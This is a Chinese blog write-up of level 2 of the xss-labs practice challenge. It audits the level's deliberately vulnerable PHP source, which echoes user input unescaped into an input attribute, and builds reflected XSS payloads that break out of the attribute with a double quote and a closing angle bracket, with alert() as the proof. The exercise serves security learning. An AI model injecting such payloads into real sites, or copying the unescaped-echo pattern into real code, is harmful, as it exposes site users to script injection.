安全-Level2之标签闭合(xss-labs)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Level2之标签闭合(xss-labs)相关的知识,希望对你有一定的参考价值。
前言
记录一下学习过程,实际的情况可能有较多的变化
安装步骤跳过,源码可去github上下载
构造
payload
的时候,就看你值是传入了哪一个参数中
value
的参数是用的双引号将值括起来的,所以payload
才需要的双引号构造闭合条件
PHP: htmlspecialchars - Manual
一、题目
访问
http://127.0.0.1/xss-labs-master/level2.php?keyword=test
二、源码审计
源码如下
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
htmlspecialchars
函数会按下面表格的方式来转换字符
三、绕过
[1]. 测试
因为直接弹窗成功的时候会跳到下一关,所以可以先将对应的代码注释
直接输入
<script>alert(233)</script>
的时候,发现javascript
代码直接被打印出来了没有执行
输入
& " ' < >
后,查看html源码
第一处中发现仅单引号没有被转换
而第二处中虽然没有被转换,但是直接被引号引起来了,被当成了字符输出
[2]. 第一处调用点
先看第一处调用
$str
变量的地方,因为外部都是使用的双引号
而只有单引号不会被htmlspecialchars
函数转换,所以没法闭合双引号
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
[3]. 第二处调用点
再看一下第二处,用了双引号、单引号和点将变量括起来
<input name=keyword value="'.$str.'">
第一个单引号是和
<center>
之前的单引号形成的闭合,被echo
出来的代码如下
<center>
<form action=level2.php method=GET>
<input name=keyword value="
第二个单引号是和
</center>
后面的单引号进行闭合,被echo
出来的代码如下
">
<input type=submit name=submit value="搜索"/>
</form>
</center>
[4]. 构造payload
因为
$str
是需要被echo
出来的,所以需要使用单引号或者是双引号将javascript
脚本括起来
payload:
"<script>alert(233)</script>"
或
'<script>alert(233)</script>'
而
value
的值是使用双引号
括起来的,所以需要在$str
使用双引号让value="值"
中的两个双引号闭合掉
这样里面的javascript
脚本才会生效
payload:
"<script>alert(233)</script>"
此时如果直接传入上面的
payload
,<input>
标签的代码就会变成如下的样子
input
标签就没掉了>
,代码末尾的"">
就相当于一个字符串
所需需要补上
>
,此时就可以直接弹窗了
payload:
"><script>alert(233)</script>"
如果想要后面的
"">
也生效的话,可以再修改一下payload
让其闭合成另外的标签,比如<input>
标签
payload:
"><script>alert(233)</script><br><input value="小狐狸
以上是关于安全-Level2之标签闭合(xss-labs)的主要内容,如果未能解决你的问题,请参考以下文章